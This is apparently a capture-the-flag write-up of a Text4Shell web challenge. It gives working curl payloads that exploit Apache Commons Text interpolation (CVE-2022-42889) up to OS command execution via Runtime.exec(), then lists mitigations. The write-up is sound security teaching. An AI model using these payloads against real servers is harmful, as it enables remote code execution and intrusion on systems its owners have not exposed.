Writeup · SAF Pre-Qualifiers 2026

Text4Shell

webmediumsolvedFlag: safctf{REDACTED}

Overview

The challenge is named Text4Shell. The description hinted at an Apache Commons Text version discrepancy: “Sometimes the smallest note sets the mood. An old incident note names a neighboring version; verify which build is actually running.” The target exposes a form that submits message to GET /home. The goal is to identify the injection point, confirm script execution, achieve RCE, and read the flag.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

curl -sG --data-urlencode is used to pass the interpolation payload in the message parameter. No wordlist or credentials are required.

Recon

Step 1 — Request the root page

Goal: Identify the injection endpoint and parameter.

curl "$TARGET/"

The server returned an HTML page titled FAN SIGNAL with a form:

<form action="/home" method="get">
  <input id="message" name="message" placeholder="Your message" required />
  <button type="submit"></button>
</form>

Interpretation: The endpoint is GET /home with parameter message, giving the request format $TARGET/home?message=....

Enumeration

Step 2 — Confirm Apache Commons Text interpolation

Goal: Verify that ${...} expressions are evaluated server-side.

curl -sG "$TARGET/home" \
  --data-urlencode 'message=${java:version}'
Text Received: Java version 1.8.0_504

Interpretation: ${java:version} was evaluated, confirming an Apache Commons Text-style interpolation mechanism.

Step 3 — Confirm Text4Shell script evaluation

Goal: Verify the dangerous script:javascript interpolator is available.

curl -sG "$TARGET/home" \
  --data-urlencode 'message=${script:javascript:1+1}'
Text Received: 2

Interpretation: JavaScript expressions are evaluated — the script interpolator is available and potentially dangerous.

Vulnerability Analysis

The flaw class is Text4Shell / Apache Commons Text interpolation injection (CVE-2022-42889), leading to remote code execution (CWE-94).

Exploitation

Step 4 — Achieve remote code execution

Goal: Execute an OS command via java.lang.Runtime.getRuntime().exec().

Direct method chaining returned the payload literally, so the Runtime object was assigned to a JavaScript variable first:

curl -sG "$TARGET/home" \
  --data-urlencode 'message=${script:javascript:r=java.lang.Runtime.getRuntime();r.exec("id")}'
Text Received: java.lang.UNIXProcess@756c25a4

Interpretation: java.lang.UNIXProcess confirms Java created an OS process — arbitrary process execution achieved.

Step 5 — Read command output

Goal: Capture exec() stdout instead of just the process object.

curl -sG "$TARGET/home" \
  --data-urlencode 'message=${script:javascript:p=java.lang.Runtime.getRuntime().exec("id");s=p.getInputStream();b=new java.lang.StringBuilder();c=0;while((c=s.read())!=-1)b.append(java.lang.Character.toString(c));b.toString()}'
Text Received: uid=999(appuser) gid=999(appgroup) groups=999(appgroup)

Interpretation: Full OS-level command execution as appuser (UID/GID 999).

Dead Ends

Lessons / Takeaways

  • Verify the running application’s behavior rather than relying on a version mentioned in documentation or an incident note.
  • ${java:version} is a quick interpolation probe; ${script:javascript:1+1} confirms the dangerous script interpolator.
  • Assigning objects to JavaScript variables works around method chaining that returns payloads literally.
  • Runtime.exec() returns a process object; read getInputStream() to capture command output.
  • Outbound connectivity may be blocked — prefer in-band file reads over reverse shells.

Mitigations

  • Upgrade Apache Commons Text to a patched version (1.10.0+) that disables unsafe interpolators by default.
  • Disable or never expose the script: interpolator; use only trusted, static string lookup (StringSubstitutor without external lookup).
  • Treat all ${...} interpolation input as untrusted; do not pass user input to interpolating methods.
  • Run the application with least-privilege OS and filesystem permissions.

Techniques

References